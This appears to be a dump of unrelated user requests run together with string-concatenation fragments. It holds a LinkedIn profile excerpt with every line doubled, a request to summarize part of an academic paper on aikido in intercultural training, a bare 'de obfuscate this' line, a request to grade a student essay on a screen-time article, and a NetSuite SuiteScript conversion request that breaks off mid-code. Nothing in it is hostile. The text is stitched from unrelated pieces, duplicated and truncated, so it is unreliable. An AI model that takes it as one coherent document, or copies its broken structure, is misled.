businesses (B2B) including employee rewards, customers rewards, channel incentives and loyalty.…see more\nArabian Information Technology Co. (ARCOM) logo\nCEO & Board MemberCEO & Board Member\nArabian Information Technology Co. (ARCOM) · Full-timeArabian Information Technology Co. (ARCOM) · Full-time\nJun 2015 - Present · 7 yrs 10 mosJun 2015 - Present · 7 yrs 10 mos\nSaudi ArabiaSaudi Arabia\nARCOM is an innovative progressive system integrator with 30 years of successful track record providing IT and telecom services and solutions to governmental and private sectors in the Kingdom of Saudi Arabia and Gulf.ARCOM is an innovative progressive system integrator with 30 years of successful track record providing IT and telecom services and solutions to governmental and private sectors in the Kingdom of Saudi Arabia and Gulf.\nARCOMARCOM\nARCOM is an innovative and progressive system integrator with over 30 years of successful track record providing IT\\telecom services and solutions to public and private sectors in the Kingdom of Saudi Arabia.ARCOM is an innovative and progressive system integrator with over 30 years of successful track record providing IT\\telecom services and solutions to public and private sectors in the Kingdom of Saudi Arabia.\nPlatinum Events UAE logo\nCo-FounderCo-Founder\nPlatinum Events UAEPlatinum Events UAE\nSep 2009 - Present · 13 yrs 7 mosSep 2009 - Present · 13 yrs 7 mos\nPlatinum has established it self as a leading Event Management, wedding planner, and Concierge Service Provider. Our continued success allowed us to expand into newer and equally exciting division such as Platinum Magazine, Platinum Property, and Platinum Collection.\n\nPlatinum has acquired a reputation for organizing some of the most innovative, spectacular and high profile corporate and private events. Platinum has established it self as a leading Event Management, wedding planner, and Concierge Service Provider. Our continued success allowed us to expand into newer and equally exciting division such as Platinum Magazine, Platinum Property, and Platinum Collection. Platinum has acquired a reputation for organizing some of the most innovative, spectacular and high profile corporate and private events. …see more\nPlatinum - Coming SoonPlatinum - Coming Soon\nSocialHub logo\nCo-Founder & Board MemberCo-Founder & Board Member\nSocial HubSocial Hub\nFeb 2013 - Feb 2017 · 4 yrs 1 moFeb 2013 - Feb 2017 · 4 yrs 1 mo\nSaudi ArabiaSaudi Arabia\nSocial Hub is one stop shop for Social Media Services that links organizations to their audience.\n\nSocial Hub offers world-class services with local expertise and flavor. These services ranges from setting strategy, engagement campaign, content generation & socialization, monitoring, and consultation.Social Hub is one stop shop for Social Media Services that links organizations to their audience. Social Hub offers world-class services with local expertise and flavor. These services ranges from setting strategy, engagement campaign, content generation & socialization, monitoring, and consultation.…see more\nShow all 11 experiences\nEducationEducation\nINSEAD logo\nINSEADINSEAD\nDigital Transformation Leadership ProgramDigital Transformation Leadership Program\n2020 - 20202020 - 2020\nMIT Sloan School of Management logo\nMIT Sloan School of ManagementMIT Sloan School of Management\nEntrepreneurial Masters ProgramEntrepreneurial Masters Program\n2013 - 20152013 - 2015\nHarvard Business School Executive Education logo\nHarvard Business School Executive EducationHarvard Business School Executive Education\nYPO President CourseYPO President Course\n2011 - 20112011 - 2011\nShow all 5 education\nLicenses & certificationsLicenses & certifications\n500 Global logo\nVC UnlockedVC Unlocked\n500 Global500 Global\nIssued Nov 2022Issued Nov 2022\nShow credential\nStanford Center for Professional Development logo\nInnovation Strategy Innovation Strategy \nStanford Center for Professional DevelopmentStanford Center for Professional Development\nIssued Jan 2021Issued Jan 2021\nStanford Center for Professional Development logo\nProduct Management Transforming Opportunities into Great Products Product Management Transforming Opportunities into Great Products \nStanford Center for Professional DevelopmentStanford Center for Professional Development\nIssued Jan 2021Issued Jan 2021\nShow all 5 licenses & certifications\nSkillsSkills\nPMPPMP\n\nEndorsed by Abdullah Aljebrein who is highly skilled at thisEndorsed by Abdullah Aljebrein who is highly skilled at this\n\nEndorsed by 3 colleagues at Arabian Information Technology Co. (ARCOM)Endorsed by 3 colleagues at Arabian Information Technology Co. (ARCOM)\n99+ endorsements99+ endorsements\n\nEndorse\nTelecommunicationsTelecommunications\n\nEndorsed by Mohammed Al Ansari and 25 others who are highly skilled at thisEndorsed by Mohammed Al Ansari and 25 others who are highly skilled at this\n\nEndorsed by 6 colleagues at Arabian Information Technology Co. (ARCOM)Endorsed by 6 colleagues at Arabian Information Technology Co. (ARCOM)\n99+ endorsements99+ endorsements\n\nEndorse\nInformation SecurityInformation Security\n\nEndorsed by Ahmad AlOmran who is highly skilled at thisEndorsed by Ahmad AlOmran who is highly skilled at this\n\nEndorsed by 3 colleagues at stcEndorsed by 3 colleagues at stc\n36 endorsements36 endorsements\n\nEndorse\nShow all 28 skills\nOrganizationsOrganizations\nSocial Media Club Saudi Arabia ChapterSocial Media Club Saudi Arabia Chapter\nFounding Memeber · Jan 2013 - PresentFounding Memeber · Jan 2013 - Present\nSocial Media Club is non-profit and the world's largest community of Social Media Professionals with primary mission is to expand digital media literacy, promote standard technologies, encourage ethical behavior and share best practices.\nSocial Media Club is non-profit and the world's largest community of Social Media Professionals with primary mission is to expand digital media literacy, promote standard technologies, encourage ethical behavior and share best practices. \nMobile MondayMobile Monday\nFounding Memeber - Riyadh Chapter · Sep 2012 - PresentFounding Memeber - Riyadh Chapter · Sep 2012 - Present\nMobileMonday™ (MoMo) is an open community platform of mobile industry visionaries, developers and influential individuals fostering brand neutral cooperation and cross-border P2P business opportunities through live networking events to demo products, share ideas and discuss trends from both local and global markets.MobileMonday™ (MoMo) is an open community platform of mobile industry visionaries, developers and influential individuals fostering brand neutral cooperation and cross-border P2P business opportunities through live networking events to demo products, share ideas and discuss trends from both local and global markets.…see more\nInterestsInterests\nTop VoicesTop Voices\nCompaniesCompanies\nGroupsGroups\nNewslettersNewsletters\nSchoolsSchools\nAdena Friedman profile picture\nAdena FriedmanAdena Friedman\n· 3rdThird degree connection\nChair and Chief Executive Officer at NasdaqChair and Chief Executive Officer at Nasdaq\n602,019 followers602,019 followers\n\nFollow\nCharles Best profile picture\nCharles BestCharles Best\n· 3rdThird degree connection\nCo-CEO of Lakeshore Learning and Founder of DonorsChooseCo-CEO of Lakeshore Learning and Founder of DonorsChoose\n281,028 followers281,028 followers\n\nFollow\nShow all 83 Top Voices" +'summarize:\n5\u2002Discussion\nThis paper investigates the added value of aikido, a martial art, as an embodied \npedagogy in the intercultural communication classroom. Intercultural communi\x02cation training aims to develop skills for dealing with challenges and achieving \nappropriate outcomes in intercultural interaction (Deardorff 2020). The findings \nof the benchmarking study show fundamental similarities between aikido inter\x02action and intercultural interaction: focus, skills and embodied learning.\nThe road to a noble outcome in a challenging interaction requires focus, \nwhether it is an aikido or an intercultural interaction. Thirteen-san in (1) referred \nto this focus using the word mindful. Because the odds seem to be against at \nthe very beginning of the interactions between disparate communities, common \nground does not emerge haphazardly, and focus is the way towards a noble \noutcome. When aikido practitioners deliberately seek harmony and circulate to \nbuild common ground, they are in a focused aikido interaction. When interloc\x02utors from different cultures consciously foster recipient design and co-create \ncommon ground (Kecskés 2014), they are in a focused interaction. The circula\x02tion, typical of aikido interaction (Figure 6), is similar to Varela’s definition of \ncirculation (Varela 1989). Circulation in aikido and circulation in intercultural \ncommunication refer to the capacity and sensitivity for tuning behavior to inter\x02action partners. \nIntercultural interaction that does not end up in a communication break\x02down has many similarities with aikido interaction that ends with a noble \noutcome. Taken together, aikido practitioners start an aikido interaction by \nassuming an attitude of calmness, centeredness, groundedness and alertness \nin the moment. This tranquility alters the physiological and the mental state \nand remains throughout the interaction. They behave effectively and efficiently \nwithout doing harm to others, self and the environment. They intend to achieve \na noble outcome, i.e. an outcome in which all people involved feel adequately \nsatisfied. They are open. They take an inviting attitude of observation, positivity \nand flexibility, focusing on the moment, not on prior assumptions, judgments or \nthoughts. At the same time, they are curious. They have the motivation to inter\x02act, discover and learn. They see their attacker as a partner in an aikido interac\x02tion. They move, then blend with their partner by fostering physical closeness, \nsensitivity and a willingness to build or co-create common ground: they unify. \nThey circulate physically to take the perspective of the other and to cooperate. \nThe result is a noble outcome.\nA model with seven core principles emerged from the study’s analysis \n(Figure 7). It visualizes the course of an interaction and shows the relationship \nbetween the seven core principles. This interaction model stems from aikido, \n326 \u2003Greet Angèle De Baets and Ellen Van Praet\nwhich can explain each principle with physical techniques and bodily move\x02ments. The principles thus shift into physical, mental and interactional skills. \nThe seven principles in the model present two interwoven sets of skills that \nrevolve around harmony and common ground. Figure 7 shows persons A and \nB in an intercultural interaction based on the two skill sets. Person A is moti\x02vated to seek harmony and adopts mental and physiological tranquility. Person A \nassures safety throughout the interaction by not sending signals of unsafety and \nnot taking any unsafety signals of person B personally. The safety effort creates a \nwelcoming, inviting and cooperative atmosphere for person B. To achieve a noble \noutcome that is appropriate and acceptable for both persons A and B, person A \nfocuses on co-creating common ground. Person A takes an open, inviting atti\x02tude of observation, positivity and flexibility, focusing on the moment, not on \nprior assumptions, judgments or thoughts. The openness goes hand in hand with \ncuriosity, i.e. the motivation to interact, discover and learn. Person A’s openness \nand curiosity result in active circulation: to take the perspective of the other and \nto cooperate. The more person A succeeds in circulating, the more persons A and \nB unify. They blend and co-create common ground. The interaction has a high \nprobability of achieving a noble outcome.\nAikido moves and exercises turn principles into skills for interaction. From \nparticipants’ point of view in an intercultural training course, they discover \nthe physical activities as a multisensory message. The physical discovery gains \nmeaning by linking moves to the main principles for harmony (tranquility, safety \nand noble outcome) and common ground (openness, curiosity, circulation and \nFigure 7: Aikido interaction model of harmony and common ground.\nHarmony and common ground: Aikido principles for intercultural training\u2003 327\nunification). If an intercultural communication course applied the physical dis\x02covery of an aikido interaction, it would alternate aikido movements with discus\x02sion moments. In the discussions, the course participants give meaning to what \nthey discover in the aikido movements. Both the movement and the discussion \nparts of the training course serve as an example of experiential discovery. The \ntrainer guides the translation process from aikido interaction into intercultural \ninteraction.\nIntroducing the physical practice of aikido into an intercultural communi\x02cation training course adds the kinesthetic stimulus to other obvious stimuli \nsuch as visual (slides, whiteboard and pictures) and auditory (explanations and \nstories) stimuli. Such a multisensory learning environment benefits “encoding, \nstoring and retrieving perceptual information” (Shams and Seitz 2008: 5). After \nall, learning is acquiring knowledge and skills, and having them readily available \nfrom memory to make sense of future problems and opportunities (Brown 2014). \nAlthough easy aikido movements will suffice to learn about applying aikido prin\x02ciples in intercultural interaction, it will take some effort from the learners to do \naikido. The effort is an advantage: learning is deeper and more durable when \neffortful. Learning that is easy is like writing in sand, here today and gone tomor\x02row (Brown 2014).\nAikido exercises teach interactional skills. In addition, some of the aikido \nexercises offer somatic (Hanna 1988) learning: techniques resulting in internal \nphysiological and mental changes. Practicing tranquility involves breathing, \nposture and movement exercises to become calm, centered, grounded and alert \nin the moment. Somatic exercises can create changes in the autonomic nervous \nsystem that influence behavior positively: resilience, creativity and empathy \n(Porges 2007; Porges 2021; Swinnen 2020; Swinnen 2021; Park and Thayer 2014). \nPositive behavior, empathy and creativity (Kecskés 2020) are critical factors \nin intercultural interaction and the development of intercultural competence \n(Deardorff 2020).\n6\u2002Conclusion\nIntercultural communication training that relies on conventional didactic expla\x02nations results in knowledge about intercultural communication, not in com\x02petence in intercultural interaction. Competence is the result of experiential \ndiscovery, of learning through experience. Intercultural communication training \ncan bring experiential discovery into its classroom by introducing the embod\x02ied pedagogy of aikido. Firstly, aikido interaction and intercultural interaction \n328 \u2003Greet Angèle De Baets and Ellen Van Praet\nshare the significance of focused interaction in which participants consciously \nseek harmony and co-create common ground. Secondly, aikido’s embodied ped\x02agogy provides the classroom with multisensory learning practice and somatic \ndiscovery.\nHarmony and common ground in challenging interaction, such as in aikido, \nresult from focused action. Aikido practitioners consciously seek harmony by \npracticing tranquility, creating safety and pursuing a noble outcome, i.e. an \noutcome in which all people involved feel adequately satisfied. They build or \nco-create common ground on an attitude of openness and curiosity on the one \nhand and by unifying and circulating with any person involved in the interaction \non the other hand. \nWe found similarities between seeking harmony and building common ground \nin aikido interaction and conscious recipient design and co-created common \nground in intercultural interaction. The way interlocutors in intercultural inter\x02action consciously foster recipient design is similar to how aikido practitioners \nseek harmony in aikido interaction. Interlocutors in intercultural interaction do \nnot readily find common ground. Instead, they co-create it with the same focus \naikido practitioners have when building common ground in aikido interaction. In \nsum, focused interactions in intercultural and aikido situations achieve a noble \noutcome by seeking harmony and co-creating common ground.\nThe embodied pedagogy of aikido comprises multisensory learning and \nsomatic discovery. Pedagogical and educational research showed the benefits \nof multisensory learning, of combining visual, auditory and physical stimuli \nin the learning process. To train physiological and mental tranquility, aikido \ninvolves somatic exercises. Medical, biological and behavioral research showed \nthat the somatic practice of tranquility creates changes in the autonomic nervous \nsystem that influence behavior positively: resilience, creativity and empathy. \nThese advantages in behavior are favorable for seeking harmony and co-creating \ncommon ground in challenging interactions. Participants in an intercultural \ncommunication training course that relies on aikido discover conscious recip\x02ient design by physical contact and movements. They train tranquility and feel \nhow it creates conditions for seeking harmony and co-creating common ground. \nThe trainer facilitates the embodied discovery process and the translation from \naikido interaction into intercultural interaction. We, therefore, conclude that \naikido has potential as an embodied pedagogy for intercultural communication \ntraining.' +'de obfuscate this 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+'# Background information\n\nThe following article appeared in Child Monthly, a magazine for parents of young children widely distributed in maternal and child health centres. It responds to concerns about the increasing amount of time children spend viewing electronic media on television, computer, tablet and phone screens, as well as increasing rates of childhood obesity in Australia.\n\n# Beach lessons - By Zan Smith\n\nDuring the long wet winter we’ve just had, our three toddlers were cooped up in the house week after week, rarely able to escape for a run or a climb. Despite our best efforts to come up with activities and games, there was no end to the arguments and squabbling, or the constant demands for attention and novelty throughout the day.\nOccasionally we resorted to the TV for half an hour or so of entertainment – and half an hour of peace and quiet in the house to get dinner prepared. But it always seemed to reduce them to a kind of inertia, stopping them from interacting with one another and from engaging in more active behaviours.\nAlthough it freed me up to get something done, I never wanted it to go for more than an hour.\nSo I was very interested, and rather concerned, to read the article in the previous issue of Child Monthly on iPads and computers being used in classrooms from Prep onwards, to encourage kids to do their own learning and creative play – especially kids who are slow to read and write. I can’t help wondering if this is all a bit too much too soon. Where is this all going? What will the implications be for our children when they are older, if interacting with a screen becomes so normal so early?\nIn the US, for instance, the Department of Health and Human Services has reported that 8 to 18 year olds are watching on average around 4.5 hours a day of TV and spending over an hour a day playing video games. When do these children do their homework? Read a book? Play sport?\nIn Canada there are new guidelines for the amount of activity young children should be doing, based on findings that children aged 4 and under are spending over 70% of their days being sedentary. These guidelines are also addressing alarming levels of childhood obesity, with around a quarter of Canadian children being overweight or obese.\nIs this where we’re heading in Australia, too? In a country where kids used to grow up playing sport for hours after school, either in organised competitions or impromptu games of backyard cricket? Or practically living at the beach all summer? It seems the answer is ‘yes’. The Australian Bureau of Statistics reports that in 2011–12, 25.1% of children aged 2 to 17 were overweight or obese.\nAnd in Australia too, authorities are recommending lower levels of screen time for young children. The Raising Children Network recommends no more than an hour a day of screen time for children between 2 and 5, and no more than two hours for children 5 and over.\nIt’s not that screen time by itself is necessarily a bad thing, in the way that eating sugar is bad for your teeth. There are many educational games and apps that kids find fun and engaging, and which undoubtedly help them to learn. And digital literacy is going to be more and more important in our children’s lives.\nRather, it’s the things that are not happening while you’re sitting or lying in front of a screen that make it essential to limit its use. It’s the senses that aren’t being engaged: while sight and sound are active, taste and smell are totally dormant. Touch can be used minimally for a tablet, but there is really nothing especially tactile about a glass screen, and we all know how much children learn by doing things with their hands.\nIt was a great relief to our family, then, when the warm weather finally arrived towards the end of spring and we could set off for our local beach once again, buckets and spades, towels and togs in hand. Miraculously, the arguments and demands stopped almost instantly as the fresh air, the soft sand and the cool water provided all the stimulation needed for hours at a time. Sandcastles were built, races were run along the beach, faces were splashed. There were so many things to see and hear, but even more importantly there were things to taste, smell and – most of all – touch.\nI was amazed by the transformation in my children’s behaviour, from cranky to content, from depending on me as the source of all entertainment and education to finding these things readily available on the beach. The beach is not just a playground; it’s also a place where children learn without even trying. Marine and bird life are all around, from seagulls to tiny fish in the shallows to the tenacious mussels, limpets and crabs eking out an existence in rock pools. Water and sand play becomes a lesson in flow, absorption, textures. A surfboard left on the beach for communal use becomes a child’s first ecstatic experience of buoyancy.\nEven the hazards of the beach are instructive: the dangers of too much sun exposure; the risk posed by creatures that might bite or sting; the threat implicit in deep or rough water. All are part of life’s complexity, yet become sources of learning and understanding when they are part of an environment we clearly belong to.\nSo here’s looking forward to a long summer, to days on the beach, to swimming lessons – and, in all weathers, the open air, the world of the senses, and sources of childhood contentment that enrich all of our lives.\n\nGrade these two body paragraphs of a language analysis based on the piece "Beach lessons" by Zan Smith:\n\nSmith aims to increase her affinity with her audience by opening up her second argument by introducing concerning statistics from reputable sources of the United States and Canada; playing on the fact that they are trusted, developed nations whose studies can be trusted. By italicising the word "and" while listing the various ways children spend time in the digital world, Smith strives to convey the scale of time spent away from reality by using this connective to enlarge her sentence as well. Smith proceeds to use exclusive language, such as referring to such children as "these children" in her rhetoric device which lists important activities other than screen time, creating an \\*us-vs-them\\* situation with the rhetoric questions serving as a listing of things that the kids that aren\'t addicted to screens do. She moves on to evoke a sense of patriotism by asking if this is "where we\'re heading in Australia, too". This query acts as a comparator between Australia, the nation of Smith\'s primary audience, and other comparable developed countries who have been portrayed in a negative limelight through the use of child obesity and daily screen time statistics, painting their kids as overindulgent. She continues building on this sense of patriotism by playing on the nostalgia of her readers by reciting various activities that she (and her main demographic of readers) remembers from youthful times. The use of the phrase "grow up" in this section acts as a call to action as it makes the reader think that the kids who aren\'t partaking in such passtimes aren\'t growing up properly. She also lists activities that allow the reader to relate to life lessons learned whilst doing those activities, such as building teamwork skills in sport, or practicing creativity and applying their curiosity at the beach. Smith then answers her own question about the direction of Australia future with a short response of the word "yes", invoking fear from the audience as this aims to leave them worrying for it and attempting to fix it. Smith cements a rational tone in this segment of the text through the use of statistics to add to her credibility and aiming to persuade anecdotally on multiple occasions. These techniques are all priming the audience to agree with Smith, that too much screen time is detrimental to kids\' health, because the kids \\*are\\* the future that she refers to in her arguments.\nSmith proceeds to nullify the main argument of the opposing side by clarifying that her problem is not with the content on the screens, but rather the screens themselves. She asserts that it is "essential" to limit screens\' use due to the things "that are \\*not\\* happening while you\'re sitting or lying" in front of them. She twists the point of using technology to learn by showing how little children actually learn digitally because their other senses aren\'t fully engaged by a screen. Smith even generalises the knowledge that "children learn by doing things with their hands", aiming to provide a clearer view of the reasoning behind her argument. She switches her tone from describing the despair of being locked inside like a prisoner to the warming cadence of being outside on the beach in the spring weather. She indicates that the beach was a "great reflief" to her family, contrasting it with the subject of kids being glued to screens discussed earlier. This clearly emphasises what the author is supporting. The description of the "warm" weather juxtaposes the "long wet winter" with which Smith aims to paint a brighter picture of the beach in the reader\'s mind, aligning them more with the author\'s contention. Smith, once again hoping to connect with the audience through shared experiences, lists the items that her family "set off" for their local beach with, employing colloquial language such as "togs" to make her text more emotionally appealing as she hopes to evoke visuals of the reader\'s own times at the beach. Smith comes back to discussing how the senses are engaged more at the beach than they are staring at a screen, solidifying the beach as a better alternative to the digital world. She goes into detail about the sense of touch, which the screen, as she mentioned before, provides "really nothing" in this area of engagement.' +'can you convert this to suitescript 2.0\n\nwith the relevant entry points:\nfunction getPromoPrices(){\n var column = [new nlobjSearchColumn("custrecord\\_parent\\_promo",null,"GROUP")];\n var ppm = nlapiSearchRecord("customrecord\\_special\\_pricing\\_detail",null, [\n ["custrecord\\_detail\\_customer","anyof","@NONE@"], \n "AND", \n ["custrecord\\_parent\\_promo","noneof","@NONE@"]\n ],column);\n \n var promoprices = [];\n for(var i = 0; i < ppm.length; i++){\n promoprices.push({ type: "customrecord\\_promo\\_header", id: ppm[i].getValue(column[0]) });\n }\n return promoprices;\n}\n\nfunction scheduled(type){ \n \n var context = nlapiGetContext();\n var recordType = context.getSetting(\'SCRIPT\', \'custscript\\_uc\\_rectype\');\n var recordId = context.getSetting(\'SCRIPT\', \'custscript\\_uc\\_recid\');\n \n if(recordId){\n run(recordId, recordType, context);\n } else {\n var ppm = getPromoPrices() || [];\n nlapiLogExecution(\'DEBUG\', \'Promo Prices\', ppm.length);\n \n for(var i = 0; i < ppm.length; i++){\n run(ppm[i].id, ppm[i].type, context);\n context = nlapiGetContext();\n nlapiLogExecution(\'debug\', \'remaining usage\', context.getRemainingUsage());\n if (context.getRemainingUsage() <= 500) {\n var status = nlapiScheduleScript(context.getScriptId())\n if ( status == \'QUEUED\' )\n break;\n }\n }\n }\n}\n\n/\\*\\*\n \\* @param {String} type Context Types: scheduled, ondemand, userinterface, aborted, skipped\n \\* @returns {Void}\n \\*/\nfunction run(recordId, recordType, context) {\n try {\n \n var record = nlapiLoadRecord(recordType, recordId);\n if (recordType == \'customrecord\\_promo\\_header\') {\n var recordStatus = record.getFieldValue(\'custrecord\\_promohead\\_status\');\n var startDate = record.getFieldValue(\'custrecord\\_promohead\\_startdate\');\n var endDate = record.getFieldValue(\'custrecord\\_promohead\\_enddate\');\n if (recordStatus == 8) {\n var copiedFrom = record.getFieldValue(\'custrecord\\_promohead\\_copiedfrom\');\n var filter = new nlobjSearchFilter(\'custrecord\\_parent\\_promo\', null, \'anyof\', copiedFrom);\n var filterDet= [[\'custrecord\\_parent\\_promo\', \'anyof\', copiedFrom]];\n var schRec = nlapiLoadSearch(\'customrecord\\_special\\_pricing\\_detail\', \'customsearch\\_child\\_items\\_sch\');\n var filExp = schRec.getFilterExpression();\n schRec.setFilterExpression(filterDet);\n var schResultSet = schRec.runSearch();\n var index = 0;\n var max = 1000;\n while (true) {\n var schDetail = schResultSet.getResults(index, max);\n if(isNullOrEmpty(schDetail) || schDetail.length <= 0) {\n break;\n }\n index = max;\n max += 1000;\n \n if (schDetail) {\n for (var i = 0; i < schDetail.length; i++) {\n nlapiLogExecution(\'DEBUG\', \'sp Id\', schDetail[i].getId());\n \n //if (context.getRemainingUsage() <= 100) nlapiYieldScript();\n var item = schDetail[i].getValue(\'custrecord\\_detail\\_item\');\n var option = schDetail[i].getValue(\'custrecord\\_detail\\_option\');\n var basePrice = schDetail[i].getValue(\'custrecord\\_detail\\_baseprice\');\n var usualPrice = schDetail[i].getValue(\'custrecord\\_detail\\_usualrate\');\n \n var qty1 = schDetail[i].getValue(\'custrecord\\_detail\\_qty1\');\n var price1 = schDetail[i].getValue(\'custrecord\\_detail\\_rate1\');\n \n var qty2 = schDetail[i].getValue(\'custrecord\\_detail\\_qty2\');\n var price2 = schDetail[i].getValue(\'custrecord\\_detail\\_rate2\');\n \n var qty3 = schDetail[i].getValue(\'custrecord\\_detail\\_qty3\');\n var price3 = schDetail[i].getValue(\'custrecord\\_detail\\_rate3\');\n \n var qty4 = schDetail[i].getValue(\'custrecord\\_detail\\_qty4\');\n var price4 = schDetail[i].getValue(\'custrecord\\_detail\\_rate4\');\n \n var qty5 = schDetail[i].getValue(\'custrecord\\_detail\\_qty5\');\n var price5 = schDetail[i].getValue(\'custrecord\\_detail\\_rate5\');\n \n var customersStr = schDetail[i].getValue(\'custrecord\\_detail\\_customer\');\n var customerArr = customersStr.split(",");\n nlapiLogExecution(\'DEBUG\', typeof customerArr1);\n \n nlapiLogExecution(\'DEBUG\', \'customers length\', customerArr.length);\n var marketing = schDetail[i].getValue(\'custrecord\\_detail\\_marketingprice\');\n var newDetail = nlapiCreateRecord(\'customrecord\\_special\\_pricing\\_detail\');\n \n newDetail.setFieldValue(\'custrecord\\_parent\\_promo\', recordId);\n newDetail.setFieldValue(\'custrecord\\_detail\\_item\', item);\n newDetail.setFieldValue(\'custrecord\\_detail\\_option\', option);\n newDetail.setFieldValue(\'custrecord\\_detail\\_baseprice\', basePrice);\n newDetail.setFieldValue(\'custrecord\\_detail\\_usualrate\', usualPrice);\n newDetail.setFieldValue(\'custrecord\\_detail\\_qty1\', qty1);\n newDetail.setFieldValue(\'custrecord\\_detail\\_rate1\', price1);\n newDetail.setFieldValue(\'custrecord\\_detail\\_qty2\', qty2);\n newDetail.setFieldValue(\'custrecord\\_detail\\_rate2\', price2);\n \n newDetail.setFieldValue(\'custrecord\\_detail\\_qty3\', qty3);\n newDetail.setFieldValue(\'custrecord\\_detail\\_rate3\', price3);\n newDetail.setFieldValue(\'custrecord\\_detail\\_qty4\', qty4);\n newDetail.setFieldValue(\'custrecord\\_detail\\_rate4\', price4);\n \n newDetail.setFieldValue(\'custrecord\\_detail\\_qty5\', qty5);\n newDetail.setFieldValue(\'custrecord\\_detail\\_rate5\', price5);\n \n newDetail.setFieldValue(\'custrecord\\_detail\\_startdate\', startDate);\n newDetail.setFieldValue(\'custrecord\\_detail\\_enddate\', endDate);\n newDetail.setFieldValue(\'custrecord\\_detail\\_customer\', customerArr);\n newDetail.setFieldValue(\'custrecord\\_detail\\_marketingprice\', marketing);\n nlapiSubmitRecord(newDetail, false, true);\n \n \n }\n }\n \n }\n \n \n \n }\n else {\n var someCust = record.getFieldValues(\'custrecord\\_promohead\\_child\');\n var startDate = record.getFieldValue(\'custrecord\\_promohead\\_startdate\');\n var endDate = record.getFieldValue(\'custrecord\\_promohead\\_enddate\');\n var customer = record.getFieldValue(\'custrecord\\_parenthead\\_customer\');\n \n var filCust = new Array(); \n filCust.push(new nlobjSearchFilter(\'parent\', null, \'anyof\', customer));\n filCust.push(new nlobjSearchFilter(\'isinactive\', null, \'is\', \'F\'));\n //filCust.push(new nlobjSearchFilter(\'isjob\', null, \'is\', \'F\'));\n var childCust = nlapiSearchRecord(\'customer\', null, filCust, null);\n \n var allChildArray = new Array();\n \n if (childCust) {\n allChildArray.push(customer);\n for (var j = 0; j < childCust.length; j++) {\n \n allChildArray.push(childCust[j].getId());\n }\n \n }\n \n var someCustArray = new Array();\n someCustArray.push(customer);\n if (!isNullOrEmpty(someCust)) {\n for (var j = 0; j < someCust.length; j++) {\n someCustArray.push(someCust[j]);\n }\n }\n \n var lineCount = record.getLineItemCount(\'recmachcustrecord\\_parent\\_promo\');\n var custArray = new Array();\n custArray.push(customer);\n \n nlapiLogExecution(\'DEBUG\', \'1\', \'\');\n var filterDet= [[\'custrecord\\_parent\\_promo\', \'anyof\', recordId]];\n var schRec = nlapiLoadSearch(\'customrecord\\_special\\_pricing\\_detail\', \'customsearch\\_child\\_items\\_sch\');\n var filExp = schRec.getFilterExpression();\n nlapiLogExecution(\'DEBUG\', \'2\', \'\');\n \n schRec.setFilterExpression(filterDet);\n var schResultSet = schRec.runSearch();\n nlapiLogExecution(\'DEBUG\', \'2b\', \'\');\n var index = 0;\n var max = 1000;\n \n \n while (true) {\n var schDetail = schResultSet.getResults(index, max);\n if(isNullOrEmpty(schDetail) || schDetail.length <= 0) {\n break;\n }\n index = max;\n max += 1000;\n \n if (schDetail) {\n for (var i = 0; i < schDetail.length; i++) {\n //if (context.getRemainingUsage() <= 100) nlapiYieldScript();\n var detId = schDetail[i].getId();\n nlapiLogExecution(\'DEBUG\', \'child id\', detId);\n var recordDet = nlapiLoadRecord(\'customrecord\\_special\\_pricing\\_detail\', detId, {recordmode: \'dynamic\'});\n \n var option = recordDet.getFieldValue(\'custrecord\\_detail\\_option\');\n \n if (option == \'1\') {\n recordDet.setFieldValue(\'custrecord\\_detail\\_customer\', allChildArray);\n }\n if (option == \'2\') {\n recordDet.setFieldValue(\'custrecord\\_detail\\_customer\', someCustArray);\n }\n if (option == \'3\') {\n recordDet.setFieldValue(\'custrecord\\_detail\\_customer\', customer);\n \n }\n \n recordDet.setFieldValue(\'custrecord\\_detail\\_startdate\', startDate);\n recordDet.setFieldValue(\'custrecord\\_detail\\_enddate\', endDate);\n nlapiSubmitRecord(recordDet, true, true);\n \n \n }\n }\n }\n }\n \n nlapiSubmitField(recordType, recordId, \'custrecord\\_promohead\\_status\', 4);\n \n \n }\n \n \n if (recordType == \'customrecord\\_contract\\_pricing\') {\n \n var contractReview = record.getFieldValue(\'custrecord\\_cp\\_contractreview\');\n var startDate = record.getFieldValue(\'custrecord\\_cp\\_startdate\');\n //var location = record.getFieldValue(\'custrecord\\_cp\\_location\');\n var filters = new Array();\n var customer = record.getFieldValue(\'custrecord\\_cp\\_parentcustomer\');\n var someCust = record.getFieldValues(\'custrecord\\_cp\\_child\');\n \n var filCust = new Array(); \n filCust.push(new nlobjSearchFilter(\'parent\', null, \'anyof\', customer));\n filCust.push(new nlobjSearchFilter(\'isinactive\', null, \'is\', \'F\'));\n //filCust.push(new nlobjSearchFilter(\'isjob\', null, \'is\', \'F\'));\n var childCust = nlapiSearchRecord(\'customer\', null, filCust, null);\n var allChildArray = new Array();\n //allChildArray.push(customer);\n if (childCust) {\n nlapiLogExecution(\'DEBUG\', \'childcust length\', childCust.length);\n for (var j = 0; j < childCust.length; j++) {\n allChildArray.push(childCust[j].getId());\n }\n nlapiLogExecution(\'DEBUG\', \'childcust all\', JSON.stringify(allChildArray));\n }\n \n var someCustArray = new Array();\n someCustArray.push(customer);\n if (!isNullOrEmpty(someCust)) {\n for (var j = 0; j < someCust.length; j++) {\n someCustArray.push(someCust[j]);\n }\n }\n \n //\\*\\*\\*\\* add here\n nlapiLogExecution(\'DEBUG\', \'1\', \'\');\n var filterDet= [[\'custrecord\\_contract\\_parent\', \'anyof\', recordId]];\n var schRec = nlapiLoadSearch(\'customrecord\\_special\\_pricing\\_detail\', \'customsearch\\_child\\_items\\_sch\');\n var filExp = schRec.getFilterExpression();\n nlapiLogExecution(\'DEBUG\', \'2\', \'\');\n \n schRec.setFilterExpression(filterDet);\n var schResultSet = schRec.runSearch();\n nlapiLogExecution(\'DEBUG\', \'2b\', \'\');\n var index = 0;\n var max = 1000;\n \n \n while (true) {\n var schDetail = schResultSet.getResults(index, max);\n if(isNullOrEmpty(schDetail) || schDetail.length <= 0) {\n break;\n }\n index = max;\n max += 1000;\n \n if (schDetail) {\n for (var i = 0; i < schDetail.length; i++) {\n //if (context.getRemainingUsage() <= 100) nlapiYieldScript();\n var detId = schDetail[i].getId();\n nlapiLogExecution(\'DEBUG\', \'child id\', detId);\n var recordDet = nlapiLoadRecord(\'customrecord\\_special\\_pricing\\_detail\', detId, {recordmode: \'dynamic\'});\n recordDet.setFieldValue(\'custrecord\\_detail\\_contractreviewdate\', contractReview);\n recordDet.setFieldValue(\'custrecord\\_detail\\_startdate\', startDate);\n var option = 